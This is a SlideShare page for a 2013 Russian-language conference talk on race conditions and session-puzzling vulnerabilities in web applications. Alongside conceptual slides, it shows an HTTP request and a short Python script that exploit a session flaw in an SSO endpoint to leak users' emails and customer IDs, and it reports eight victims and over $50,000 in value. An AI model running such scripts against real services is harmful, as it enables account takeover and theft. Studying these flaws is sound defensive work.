SlideShare ist ein Scribd-Unternehmen logo
1 von 22
Downloaden Sie, um offline zu lesen
Крысиные бега, или Взлом одной
кнопкой
By Alexander Antukh
Nov 23, 2013
/whoami
Alexander Antukh
 Security Consultant
 OWASP Full Member
 Interests: mammoths and stuff
3
Agenda
• Race conditions
• Session management
• Personal experience
• Extras
• Q&A
Крысиные бега, или Взлом одной кнопкой
4
Race conditions
Крысиные бега, или Взлом одной кнопкой
Состояние гонки – ошибка проектирования
многопоточной системы или приложения, при
которой работа системы или приложения зависит от
того, в каком порядке выполняются части кода. Оно
наступает в случае, когда два или более потока в
параллельной программе одновременно обращаются
к одной структуре данных, причем между ними нет
принудительного упорядочивания во времени и хотя
бы одно из этих обращений – на запись.
https://www.owasp.org/index.php/Race_Conditions
5
Race conditions
Крысиные бега, или Взлом одной кнопкой
6
Race conditions
Крысиные бега, или Взлом одной кнопкой
int x;
// Поток 1:
while (!stop) {
x++;
…}
// Поток 2:
while (!stop) {
if (x%2 == 0)
System.out.println("x=" + x);
… }
x = 0
 if (x%2 == 0)
 x++;
 System.out.println("x=" + x);
x = 1
7
Race conditions
Крысиные бега, или Взлом одной кнопкой
Therac-25
"Одна и та же переменная
применялась как для анализа
введённых чисел, так и для
определения положения
поворотного круга. Поэтому
при быстром вводе Therac мог
иметь дело с неправильным
положением поворотного
круга... Что приводило к
переоблучению пациента"
8
Race conditions
Крысиные бега, или Взлом одной кнопкой
Inherent latency
Y N
Эффективное обнаружение и
эксплуатация
• Транзакции БД
• SOA (service-oriented
architecture)
• Backend-операции
• . . .
Трудно найти легко потерять,
невозможно забыть и
воспроизвести, особенно в
blackbox
• Менеджмент сессий
• . . .
• PROFIT!!!
9
Session management
Крысиные бега, или Взлом одной кнопкой
Процесс генерации и присвоения идентификатора сессии
Web Server
Session Memory
Session ID
abcd123
cbcr321
Memory Allocation
0xAA…
0xBB…
Set-cookie: SID=abcd123
Cookie: SID=abcd123
Domain Cookie
SID=abcd123
Первичный доступ к домену
Initial
Browser
Access
Session
Identifier
Generation
Session
Memory
Association
Session
Identifier
Storage
Session
Identifier
Reuse
10
Session management
Крысиные бега, или Взлом одной кнопкой
• При первичном обращении браузера к серверу
генерируется новый, уникальный идентификатор сессии
• Обычно идентификатор сессии возвращается клиенту в
заголовке ответа "Set-Cookie"
• Браузер сохраняет SessID в доменнозависимых cookie,
которые отправляются на сервер при каждом запросе
11
Session puzzling
Крысиные бега, или Взлом одной кнопкой
Session puzzling – уязвимости прикладного уровня,
позволяющие атакующему выполнять множество
различных вредоносных действий путем
манипуляций с переменными сессии:
– Обход аутентификации
– Повышение привилегий и логин под чужим аккаунтом
– Обход ограничений в многофазных процессах
– Выполнение “традиционных атак” (например,
инъекций)
– Воздействие на адресата доставки контента
– . . .
12
Session puzzling
Крысиные бега, или Взлом одной кнопкой
Принцип: приложение использует одни и
те же переменные сессии более, чем для
одной цели
13
Session puzzling
Крысиные бега, или Взлом одной кнопкой
Возможные причины возникновения session puzzling :
– Преждевременное присвоение объектов сессии в публично
доступных точках входа
– Неоправданное хранение данных в памяти сессий
– Одни и те же переменные сессии используются различными
процессами
– Использование сессионных флагов в легальном функционале
приложения
– Отсутствие валидации для “доверенных” данных, генерируемых на
основе сессии
– Неэффективные или неполные механизмы аутентификации и
авторизации
– Баги в сценариях приложения, которые способствуют созданию или
предотвращению удаления переменных сессии
14
Session puzzling
Крысиные бега, или Взлом одной кнопкой
15
Personal experience
Крысиные бега, или Взлом одной кнопкой
PWN
16
Personal experience
Крысиные бега, или Взлом одной кнопкой
17
Personal experience
Крысиные бега, или Взлом одной кнопкой
GET /sso/authorized.js?callback=xxx_auth HTTP/1.1
. . .
Cookie: apex__pref-language=en-GB; sso_id=null
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 16 Sep 2013 12:31:16 GMT
Content-Type: application/javascript
Content-Length: 120
Connection: keep-alive
X-Fong-Id: c9c41e00-39ef-4bfa-bc34-09b5ae2b7704
var sso_provider = {}; sso_provider.email="victim-email@gmail.com";
sso_provider.cust_id="12345678"; xxx_auth(true);
18
Personal experience
Крысиные бега, или Взлом одной кнопкой
def check():
path = 'https://sso.xxx.com/sso/authorized.js?'
cookie = 'apex__pref-language=en-GB; sso_id=null'
params = urllib.urlencode({'callback':'xxx_auth'})
headers = { 'Cookie': cookie }
url = path+params
req = urllib2.Request(url, headers=headers)
response = urllib2.urlopen(req)
the_page = response.read()
if the_page != 'xxx_auth(false)':
return the_page
return 0
19
Personal experience
Крысиные бега, или Взлом одной кнопкой
Статистика:
• 1 вечер
• 8 жертв
• Суммарный счет:
более 50000$
20
Extras
• Race conditions
• Session management
• Personal experience
• Extras
• Q&A
Крысиные бега, или Взлом одной кнопкой
21
Extras
Крысиные бега, или Взлом одной кнопкой
Moar videos, materials
and TESTING FIELD:
http://code.google.com/p/puzzlemall/
22
Q&A
Крысиные бега, или Взлом одной кнопкой

Weitere ähnliche Inhalte

Was ist angesagt?

Dependency injection
Dependency injectionDependency injection
Dependency injectionPavel Usachev
 
[1.4] «Ой, не шмогла». Обзор ограничений современных технологий в области ...
[1.4] «Ой, не шмогла». Обзор ограничений современных технологий в области ...[1.4] «Ой, не шмогла». Обзор ограничений современных технологий в области ...
[1.4] «Ой, не шмогла». Обзор ограничений современных технологий в области ...OWASP Russia
 
Выступление Ревизиум на ХостОбзор 2017
Выступление Ревизиум на ХостОбзор 2017Выступление Ревизиум на ХостОбзор 2017
Выступление Ревизиум на ХостОбзор 2017revisium
 
Risspa domxss
Risspa domxssRisspa domxss
Risspa domxssyaevents
 
Автоматизация мониторинга распределенной сети подразделений
Автоматизация мониторинга распределенной сети подразделенийАвтоматизация мониторинга распределенной сети подразделений
Автоматизация мониторинга распределенной сети подразделенийBadoo Development
 
Ложка дёгтя – Александр Лэйн, QIWI, Zabbix Moscow Meetup 2016
Ложка дёгтя – Александр Лэйн, QIWI, Zabbix Moscow Meetup 2016Ложка дёгтя – Александр Лэйн, QIWI, Zabbix Moscow Meetup 2016
Ложка дёгтя – Александр Лэйн, QIWI, Zabbix Moscow Meetup 2016Alexander Leyn
 
[1.3] Мониторинг событий ИБ — мастерим «дашборд» - Тарас Иващенко
[1.3] Мониторинг событий ИБ — мастерим «дашборд» - Тарас Иващенко[1.3] Мониторинг событий ИБ — мастерим «дашборд» - Тарас Иващенко
[1.3] Мониторинг событий ИБ — мастерим «дашборд» - Тарас ИващенкоOWASP Russia
 
архитектура хостинга Ru Center
архитектура хостинга Ru Centerархитектура хостинга Ru Center
архитектура хостинга Ru CenterMedia Gorod
 
23may 1300 valday антон сапожников 'еще один недостаток современных клиент се...
23may 1300 valday антон сапожников 'еще один недостаток современных клиент се...23may 1300 valday антон сапожников 'еще один недостаток современных клиент се...
23may 1300 valday антон сапожников 'еще один недостаток современных клиент се...Positive Hack Days
 
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.revisium
 
Зоопарк python веб-фреймворков
Зоопарк python веб-фреймворковЗоопарк python веб-фреймворков
Зоопарк python веб-фреймворковPyNSK
 
Zabbix в badoo, от lld к super discovery
Zabbix в badoo, от lld к super discoveryZabbix в badoo, от lld к super discovery
Zabbix в badoo, от lld к super discoveryBadoo Development
 
Seopult мастеркласс 1 - восстановление сайта после взлома
Seopult   мастеркласс 1 - восстановление сайта после взломаSeopult   мастеркласс 1 - восстановление сайта после взлома
Seopult мастеркласс 1 - восстановление сайта после взломаrevisium
 
Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)c3retc3
 
Windows 7 UAC
Windows 7 UACWindows 7 UAC
Windows 7 UACCodeIT
 
Безопасность Joomla: мифы и реальность
Безопасность Joomla: мифы и реальностьБезопасность Joomla: мифы и реальность
Безопасность Joomla: мифы и реальностьrevisium
 
Обзор Java Cms
Обзор Java CmsОбзор Java Cms
Обзор Java CmsOleg Flo
 

Was ist angesagt? (19)

Dependency injection
Dependency injectionDependency injection
Dependency injection
 
[1.4] «Ой, не шмогла». Обзор ограничений современных технологий в области ...
[1.4] «Ой, не шмогла». Обзор ограничений современных технологий в области ...[1.4] «Ой, не шмогла». Обзор ограничений современных технологий в области ...
[1.4] «Ой, не шмогла». Обзор ограничений современных технологий в области ...
 
Выступление Ревизиум на ХостОбзор 2017
Выступление Ревизиум на ХостОбзор 2017Выступление Ревизиум на ХостОбзор 2017
Выступление Ревизиум на ХостОбзор 2017
 
Risspa domxss
Risspa domxssRisspa domxss
Risspa domxss
 
Автоматизация мониторинга распределенной сети подразделений
Автоматизация мониторинга распределенной сети подразделенийАвтоматизация мониторинга распределенной сети подразделений
Автоматизация мониторинга распределенной сети подразделений
 
Ложка дёгтя – Александр Лэйн, QIWI, Zabbix Moscow Meetup 2016
Ложка дёгтя – Александр Лэйн, QIWI, Zabbix Moscow Meetup 2016Ложка дёгтя – Александр Лэйн, QIWI, Zabbix Moscow Meetup 2016
Ложка дёгтя – Александр Лэйн, QIWI, Zabbix Moscow Meetup 2016
 
Drupal Paranoia
Drupal ParanoiaDrupal Paranoia
Drupal Paranoia
 
Drupal Paranoia
Drupal ParanoiaDrupal Paranoia
Drupal Paranoia
 
[1.3] Мониторинг событий ИБ — мастерим «дашборд» - Тарас Иващенко
[1.3] Мониторинг событий ИБ — мастерим «дашборд» - Тарас Иващенко[1.3] Мониторинг событий ИБ — мастерим «дашборд» - Тарас Иващенко
[1.3] Мониторинг событий ИБ — мастерим «дашборд» - Тарас Иващенко
 
архитектура хостинга Ru Center
архитектура хостинга Ru Centerархитектура хостинга Ru Center
архитектура хостинга Ru Center
 
23may 1300 valday антон сапожников 'еще один недостаток современных клиент се...
23may 1300 valday антон сапожников 'еще один недостаток современных клиент се...23may 1300 valday антон сапожников 'еще один недостаток современных клиент се...
23may 1300 valday антон сапожников 'еще один недостаток современных клиент се...
 
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
 
Зоопарк python веб-фреймворков
Зоопарк python веб-фреймворковЗоопарк python веб-фреймворков
Зоопарк python веб-фреймворков
 
Zabbix в badoo, от lld к super discovery
Zabbix в badoo, от lld к super discoveryZabbix в badoo, от lld к super discovery
Zabbix в badoo, от lld к super discovery
 
Seopult мастеркласс 1 - восстановление сайта после взлома
Seopult   мастеркласс 1 - восстановление сайта после взломаSeopult   мастеркласс 1 - восстановление сайта после взлома
Seopult мастеркласс 1 - восстановление сайта после взлома
 
Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)
 
Windows 7 UAC
Windows 7 UACWindows 7 UAC
Windows 7 UAC
 
Безопасность Joomla: мифы и реальность
Безопасность Joomla: мифы и реальностьБезопасность Joomla: мифы и реальность
Безопасность Joomla: мифы и реальность
 
Обзор Java Cms
Обзор Java CmsОбзор Java Cms
Обзор Java Cms
 

Andere mochten auch

анализ кода: от проверки стиля до автоматического тестирования
анализ кода: от проверки стиля до автоматического тестированияанализ кода: от проверки стиля до автоматического тестирования
анализ кода: от проверки стиля до автоматического тестированияRuslan Shevchenko
 
Final race-condition-in-the-web
Final race-condition-in-the-webFinal race-condition-in-the-web
Final race-condition-in-the-webXchym Hiệp
 
NoSQL атакует: JSON функции в MySQL сервере.
NoSQL атакует: JSON функции в MySQL сервере.NoSQL атакует: JSON функции в MySQL сервере.
NoSQL атакует: JSON функции в MySQL сервере.Sveta Smirnova
 
04 ос взаимодействие_процессов_1
04 ос взаимодействие_процессов_104 ос взаимодействие_процессов_1
04 ос взаимодействие_процессов_1921519
 
Сергей Федоров - Современная безопасность от Eset
Сергей Федоров - Современная безопасность от EsetСергей Федоров - Современная безопасность от Eset
Сергей Федоров - Современная безопасность от EsetExpolink
 
SerVal site monitoring presentation - Презентация SerVal
SerVal site monitoring presentation - Презентация SerValSerVal site monitoring presentation - Презентация SerVal
SerVal site monitoring presentation - Презентация SerValElitesru
 
6.2. Hacking most popular websites
6.2. Hacking most popular websites6.2. Hacking most popular websites
6.2. Hacking most popular websitesdefconmoscow
 
Intercepter-NG: сниффер нового поколения
Intercepter-NG: сниффер нового поколенияIntercepter-NG: сниффер нового поколения
Intercepter-NG: сниффер нового поколенияPositive Hack Days
 
Сергей Полаженко - Security Testing: SQL Injection
Сергей Полаженко - Security Testing: SQL InjectionСергей Полаженко - Security Testing: SQL Injection
Сергей Полаженко - Security Testing: SQL InjectionSQALab
 
Идентификация и аутентификация - встроенные функции безопасности или задачи с...
Идентификация и аутентификация - встроенные функции безопасности или задачи с...Идентификация и аутентификация - встроенные функции безопасности или задачи с...
Идентификация и аутентификация - встроенные функции безопасности или задачи с...Mikhail Vanin
 
Непрерывный анализ качества кода с помощью SonarQube
Непрерывный анализ качества кода с помощью SonarQubeНепрерывный анализ качества кода с помощью SonarQube
Непрерывный анализ качества кода с помощью SonarQubeVasilii Chernov
 
PiterPy#3. DSL in Python. How and why?
PiterPy#3. DSL in Python. How and why?PiterPy#3. DSL in Python. How and why?
PiterPy#3. DSL in Python. How and why?Ivan Tsyganov
 
TMPA-2015: The Application of Static Analysis to Optimize the Dynamic Detecti...
TMPA-2015: The Application of Static Analysis to Optimize the Dynamic Detecti...TMPA-2015: The Application of Static Analysis to Optimize the Dynamic Detecti...
TMPA-2015: The Application of Static Analysis to Optimize the Dynamic Detecti...Iosif Itkin
 
Описание задач «Научного Хакатона»
Описание задач «Научного Хакатона»Описание задач «Научного Хакатона»
Описание задач «Научного Хакатона»Sciencehit.by
 
Демонстрация атаки на ДБО
Демонстрация атаки на ДБОДемонстрация атаки на ДБО
Демонстрация атаки на ДБОDmitry Evteev
 
Тестирование защищенности веб-приложений
Тестирование защищенности веб-приложенийТестирование защищенности веб-приложений
Тестирование защищенности веб-приложенийSQALab
 
Город никогда не спит / The City Never Sleeps
Город никогда не спит / The City Never SleepsГород никогда не спит / The City Never Sleeps
Город никогда не спит / The City Never SleepsPositive Hack Days
 
Как начать бизнес в ИБ
Как начать бизнес в ИБКак начать бизнес в ИБ
Как начать бизнес в ИБPositive Hack Days
 

Andere mochten auch (20)

анализ кода: от проверки стиля до автоматического тестирования
анализ кода: от проверки стиля до автоматического тестированияанализ кода: от проверки стиля до автоматического тестирования
анализ кода: от проверки стиля до автоматического тестирования
 
Final race-condition-in-the-web
Final race-condition-in-the-webFinal race-condition-in-the-web
Final race-condition-in-the-web
 
NoSQL атакует: JSON функции в MySQL сервере.
NoSQL атакует: JSON функции в MySQL сервере.NoSQL атакует: JSON функции в MySQL сервере.
NoSQL атакует: JSON функции в MySQL сервере.
 
04 ос взаимодействие_процессов_1
04 ос взаимодействие_процессов_104 ос взаимодействие_процессов_1
04 ос взаимодействие_процессов_1
 
IT Race 2014
IT Race 2014IT Race 2014
IT Race 2014
 
Сергей Федоров - Современная безопасность от Eset
Сергей Федоров - Современная безопасность от EsetСергей Федоров - Современная безопасность от Eset
Сергей Федоров - Современная безопасность от Eset
 
SerVal site monitoring presentation - Презентация SerVal
SerVal site monitoring presentation - Презентация SerValSerVal site monitoring presentation - Презентация SerVal
SerVal site monitoring presentation - Презентация SerVal
 
6.2. Hacking most popular websites
6.2. Hacking most popular websites6.2. Hacking most popular websites
6.2. Hacking most popular websites
 
Intercepter-NG: сниффер нового поколения
Intercepter-NG: сниффер нового поколенияIntercepter-NG: сниффер нового поколения
Intercepter-NG: сниффер нового поколения
 
Race condition
Race conditionRace condition
Race condition
 
Сергей Полаженко - Security Testing: SQL Injection
Сергей Полаженко - Security Testing: SQL InjectionСергей Полаженко - Security Testing: SQL Injection
Сергей Полаженко - Security Testing: SQL Injection
 
Идентификация и аутентификация - встроенные функции безопасности или задачи с...
Идентификация и аутентификация - встроенные функции безопасности или задачи с...Идентификация и аутентификация - встроенные функции безопасности или задачи с...
Идентификация и аутентификация - встроенные функции безопасности или задачи с...
 
Непрерывный анализ качества кода с помощью SonarQube
Непрерывный анализ качества кода с помощью SonarQubeНепрерывный анализ качества кода с помощью SonarQube
Непрерывный анализ качества кода с помощью SonarQube
 
PiterPy#3. DSL in Python. How and why?
PiterPy#3. DSL in Python. How and why?PiterPy#3. DSL in Python. How and why?
PiterPy#3. DSL in Python. How and why?
 
TMPA-2015: The Application of Static Analysis to Optimize the Dynamic Detecti...
TMPA-2015: The Application of Static Analysis to Optimize the Dynamic Detecti...TMPA-2015: The Application of Static Analysis to Optimize the Dynamic Detecti...
TMPA-2015: The Application of Static Analysis to Optimize the Dynamic Detecti...
 
Описание задач «Научного Хакатона»
Описание задач «Научного Хакатона»Описание задач «Научного Хакатона»
Описание задач «Научного Хакатона»
 
Демонстрация атаки на ДБО
Демонстрация атаки на ДБОДемонстрация атаки на ДБО
Демонстрация атаки на ДБО
 
Тестирование защищенности веб-приложений
Тестирование защищенности веб-приложенийТестирование защищенности веб-приложений
Тестирование защищенности веб-приложений
 
Город никогда не спит / The City Never Sleeps
Город никогда не спит / The City Never SleepsГород никогда не спит / The City Never Sleeps
Город никогда не спит / The City Never Sleeps
 
Как начать бизнес в ИБ
Как начать бизнес в ИБКак начать бизнес в ИБ
Как начать бизнес в ИБ
 

Ähnlich wie 4.3. Rat races conditions

SIEM use cases - как их написать
SIEM use cases - как их написатьSIEM use cases - как их написать
SIEM use cases - как их написатьOlesya Shelestova
 
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Ontico
 
Информационная безопасность и web-приложения
Информационная безопасность и web-приложенияИнформационная безопасность и web-приложения
Информационная безопасность и web-приложенияMaxim Krentovskiy
 
Penetration testing (AS IS)
Penetration testing (AS IS)Penetration testing (AS IS)
Penetration testing (AS IS)Dmitry Evteev
 
еще один недостаток современных клиент серверных приложений
еще один недостаток современных клиент серверных приложенийеще один недостаток современных клиент серверных приложений
еще один недостаток современных клиент серверных приложенийsnowytoxa
 
Svyatoslav Login "How to test authentication and authorization for security"
Svyatoslav Login "How to test authentication and authorization for security"Svyatoslav Login "How to test authentication and authorization for security"
Svyatoslav Login "How to test authentication and authorization for security"Fwdays
 
Безопасность Joomla: теория и практика
Безопасность Joomla: теория и практикаБезопасность Joomla: теория и практика
Безопасность Joomla: теория и практикаrevisium
 
Total Privileged Account Manager (Иван Рудницкий, БАКОТЕК)
Total Privileged Account Manager (Иван Рудницкий, БАКОТЕК)Total Privileged Account Manager (Иван Рудницкий, БАКОТЕК)
Total Privileged Account Manager (Иван Рудницкий, БАКОТЕК)BAKOTECH
 
Защита сайта от взлома и вирусов
Защита сайта от взлома и вирусовЗащита сайта от взлома и вирусов
Защита сайта от взлома и вирусовSkillFactory
 
Безопасная разработка (СТАЧКА 2015)
Безопасная разработка (СТАЧКА 2015)Безопасная разработка (СТАЧКА 2015)
Безопасная разработка (СТАЧКА 2015)Alexey Kachalin
 
Безопасность сессий в веб-приложениях
Безопасность сессий в веб-приложенияхБезопасность сессий в веб-приложениях
Безопасность сессий в веб-приложенияхKateryna Ovechenko
 
НТБ. Сергей Шерстюк. "Проблемы контроля привилегированных пользователей Safe...
НТБ. Сергей Шерстюк. "Проблемы контроля  привилегированных пользователей Safe...НТБ. Сергей Шерстюк. "Проблемы контроля  привилегированных пользователей Safe...
НТБ. Сергей Шерстюк. "Проблемы контроля привилегированных пользователей Safe...Expolink
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровYandex
 
11 лекция, петр волков
11 лекция, петр волков11 лекция, петр волков
11 лекция, петр волковkarina krew
 
Как я перестал бояться токенов и полюбил одноразовые пароли
Как я перестал бояться токенов и полюбил одноразовые паролиКак я перестал бояться токенов и полюбил одноразовые пароли
Как я перестал бояться токенов и полюбил одноразовые паролиDmitry Evteev
 
Земсков - Как обеспечить безопасность клиентских сайтов в процессе оказания у...
Земсков - Как обеспечить безопасность клиентских сайтов в процессе оказания у...Земсков - Как обеспечить безопасность клиентских сайтов в процессе оказания у...
Земсков - Как обеспечить безопасность клиентских сайтов в процессе оказания у...SEO Conference
 
НТБ. Сергей Шерстюк. "Система контроля привилегированных пользователей SafeI...
НТБ. Сергей Шерстюк. "Система контроля  привилегированных пользователей SafeI...НТБ. Сергей Шерстюк. "Система контроля  привилегированных пользователей SafeI...
НТБ. Сергей Шерстюк. "Система контроля привилегированных пользователей SafeI...Expolink
 

Ähnlich wie 4.3. Rat races conditions (20)

CyberArk 21.10.2014
CyberArk 21.10.2014CyberArk 21.10.2014
CyberArk 21.10.2014
 
SIEM use cases - как их написать
SIEM use cases - как их написатьSIEM use cases - как их написать
SIEM use cases - как их написать
 
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
 
Информационная безопасность и web-приложения
Информационная безопасность и web-приложенияИнформационная безопасность и web-приложения
Информационная безопасность и web-приложения
 
Penetration testing (AS IS)
Penetration testing (AS IS)Penetration testing (AS IS)
Penetration testing (AS IS)
 
еще один недостаток современных клиент серверных приложений
еще один недостаток современных клиент серверных приложенийеще один недостаток современных клиент серверных приложений
еще один недостаток современных клиент серверных приложений
 
Svyatoslav Login "How to test authentication and authorization for security"
Svyatoslav Login "How to test authentication and authorization for security"Svyatoslav Login "How to test authentication and authorization for security"
Svyatoslav Login "How to test authentication and authorization for security"
 
Безопасность Joomla: теория и практика
Безопасность Joomla: теория и практикаБезопасность Joomla: теория и практика
Безопасность Joomla: теория и практика
 
Total Privileged Account Manager (Иван Рудницкий, БАКОТЕК)
Total Privileged Account Manager (Иван Рудницкий, БАКОТЕК)Total Privileged Account Manager (Иван Рудницкий, БАКОТЕК)
Total Privileged Account Manager (Иван Рудницкий, БАКОТЕК)
 
Защита сайта от взлома и вирусов
Защита сайта от взлома и вирусовЗащита сайта от взлома и вирусов
Защита сайта от взлома и вирусов
 
Безопасная разработка (СТАЧКА 2015)
Безопасная разработка (СТАЧКА 2015)Безопасная разработка (СТАЧКА 2015)
Безопасная разработка (СТАЧКА 2015)
 
SIEM для ИТ
SIEM для ИТSIEM для ИТ
SIEM для ИТ
 
Безопасность сессий в веб-приложениях
Безопасность сессий в веб-приложенияхБезопасность сессий в веб-приложениях
Безопасность сессий в веб-приложениях
 
НТБ. Сергей Шерстюк. "Проблемы контроля привилегированных пользователей Safe...
НТБ. Сергей Шерстюк. "Проблемы контроля  привилегированных пользователей Safe...НТБ. Сергей Шерстюк. "Проблемы контроля  привилегированных пользователей Safe...
НТБ. Сергей Шерстюк. "Проблемы контроля привилегированных пользователей Safe...
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
 
11 лекция, петр волков
11 лекция, петр волков11 лекция, петр волков
11 лекция, петр волков
 
Как я перестал бояться токенов и полюбил одноразовые пароли
Как я перестал бояться токенов и полюбил одноразовые паролиКак я перестал бояться токенов и полюбил одноразовые пароли
Как я перестал бояться токенов и полюбил одноразовые пароли
 
Secure development
Secure developmentSecure development
Secure development
 
Земсков - Как обеспечить безопасность клиентских сайтов в процессе оказания у...
Земсков - Как обеспечить безопасность клиентских сайтов в процессе оказания у...Земсков - Как обеспечить безопасность клиентских сайтов в процессе оказания у...
Земсков - Как обеспечить безопасность клиентских сайтов в процессе оказания у...
 
НТБ. Сергей Шерстюк. "Система контроля привилегированных пользователей SafeI...
НТБ. Сергей Шерстюк. "Система контроля  привилегированных пользователей SafeI...НТБ. Сергей Шерстюк. "Система контроля  привилегированных пользователей SafeI...
НТБ. Сергей Шерстюк. "Система контроля привилегированных пользователей SafeI...
 

Mehr von defconmoscow

7.5. Pwnie express IRL
7.5. Pwnie express IRL7.5. Pwnie express IRL
7.5. Pwnie express IRLdefconmoscow
 
7.4. Show impact [bug bounties]
7.4. Show impact [bug bounties]7.4. Show impact [bug bounties]
7.4. Show impact [bug bounties]defconmoscow
 
7.3. iCloud keychain-2
7.3. iCloud keychain-27.3. iCloud keychain-2
7.3. iCloud keychain-2defconmoscow
 
7.2. Alternative sharepoint hacking
7.2. Alternative sharepoint hacking7.2. Alternative sharepoint hacking
7.2. Alternative sharepoint hackingdefconmoscow
 
7.1. SDLC try me to implenment
7.1. SDLC try me to implenment7.1. SDLC try me to implenment
7.1. SDLC try me to implenmentdefconmoscow
 
6.4. PHD IV CTF final
6.4. PHD IV CTF final6.4. PHD IV CTF final
6.4. PHD IV CTF finaldefconmoscow
 
6.3. How to get out of an inprivacy jail
6.3. How to get out of an inprivacy jail6.3. How to get out of an inprivacy jail
6.3. How to get out of an inprivacy jaildefconmoscow
 
6.1. iCloud keychain and iOS 7 data protection
6.1. iCloud keychain and iOS 7 data protection6.1. iCloud keychain and iOS 7 data protection
6.1. iCloud keychain and iOS 7 data protectiondefconmoscow
 
6. [Bonus] DCM MI6
6. [Bonus] DCM MI66. [Bonus] DCM MI6
6. [Bonus] DCM MI6defconmoscow
 
5.3. Undercover communications
5.3. Undercover communications5.3. Undercover communications
5.3. Undercover communicationsdefconmoscow
 
5.2. Digital forensics
5.2. Digital forensics5.2. Digital forensics
5.2. Digital forensicsdefconmoscow
 
5.1. Flashback [hacking AD]
5.1. Flashback [hacking AD]5.1. Flashback [hacking AD]
5.1. Flashback [hacking AD]defconmoscow
 
5. [Daily hack] Truecrypt
5. [Daily hack] Truecrypt5. [Daily hack] Truecrypt
5. [Daily hack] Truecryptdefconmoscow
 
4.5. Contests [extras]
4.5. Contests [extras]4.5. Contests [extras]
4.5. Contests [extras]defconmoscow
 
4.4. Hashcracking server on generic hardware
4.4. Hashcracking server on generic hardware4.4. Hashcracking server on generic hardware
4.4. Hashcracking server on generic hardwaredefconmoscow
 
4.2. Web analyst fiddler
4.2. Web analyst fiddler4.2. Web analyst fiddler
4.2. Web analyst fiddlerdefconmoscow
 
4.1. Path traversal post_exploitation
4.1. Path traversal post_exploitation4.1. Path traversal post_exploitation
4.1. Path traversal post_exploitationdefconmoscow
 
3.3. Database honeypot
3.3. Database honeypot3.3. Database honeypot
3.3. Database honeypotdefconmoscow
 
3.1. Face recognition
3.1. Face recognition3.1. Face recognition
3.1. Face recognitiondefconmoscow
 

Mehr von defconmoscow (20)

7.5. Pwnie express IRL
7.5. Pwnie express IRL7.5. Pwnie express IRL
7.5. Pwnie express IRL
 
7.4. Show impact [bug bounties]
7.4. Show impact [bug bounties]7.4. Show impact [bug bounties]
7.4. Show impact [bug bounties]
 
7.3. iCloud keychain-2
7.3. iCloud keychain-27.3. iCloud keychain-2
7.3. iCloud keychain-2
 
7.2. Alternative sharepoint hacking
7.2. Alternative sharepoint hacking7.2. Alternative sharepoint hacking
7.2. Alternative sharepoint hacking
 
7.1. SDLC try me to implenment
7.1. SDLC try me to implenment7.1. SDLC try me to implenment
7.1. SDLC try me to implenment
 
6.4. PHD IV CTF final
6.4. PHD IV CTF final6.4. PHD IV CTF final
6.4. PHD IV CTF final
 
6.3. How to get out of an inprivacy jail
6.3. How to get out of an inprivacy jail6.3. How to get out of an inprivacy jail
6.3. How to get out of an inprivacy jail
 
6.1. iCloud keychain and iOS 7 data protection
6.1. iCloud keychain and iOS 7 data protection6.1. iCloud keychain and iOS 7 data protection
6.1. iCloud keychain and iOS 7 data protection
 
6. [Bonus] DCM MI6
6. [Bonus] DCM MI66. [Bonus] DCM MI6
6. [Bonus] DCM MI6
 
5.3. Undercover communications
5.3. Undercover communications5.3. Undercover communications
5.3. Undercover communications
 
5.2. Digital forensics
5.2. Digital forensics5.2. Digital forensics
5.2. Digital forensics
 
5.1. Flashback [hacking AD]
5.1. Flashback [hacking AD]5.1. Flashback [hacking AD]
5.1. Flashback [hacking AD]
 
5. [Daily hack] Truecrypt
5. [Daily hack] Truecrypt5. [Daily hack] Truecrypt
5. [Daily hack] Truecrypt
 
4.5. Contests [extras]
4.5. Contests [extras]4.5. Contests [extras]
4.5. Contests [extras]
 
4.4. Hashcracking server on generic hardware
4.4. Hashcracking server on generic hardware4.4. Hashcracking server on generic hardware
4.4. Hashcracking server on generic hardware
 
4.2. Web analyst fiddler
4.2. Web analyst fiddler4.2. Web analyst fiddler
4.2. Web analyst fiddler
 
4.1. Path traversal post_exploitation
4.1. Path traversal post_exploitation4.1. Path traversal post_exploitation
4.1. Path traversal post_exploitation
 
3.3. Database honeypot
3.3. Database honeypot3.3. Database honeypot
3.3. Database honeypot
 
3.2. White hat
3.2. White hat3.2. White hat
3.2. White hat
 
3.1. Face recognition
3.1. Face recognition3.1. Face recognition
3.1. Face recognition
 

4.3. Rat races conditions

  • 1. Крысиные бега, или Взлом одной кнопкой By Alexander Antukh Nov 23, 2013
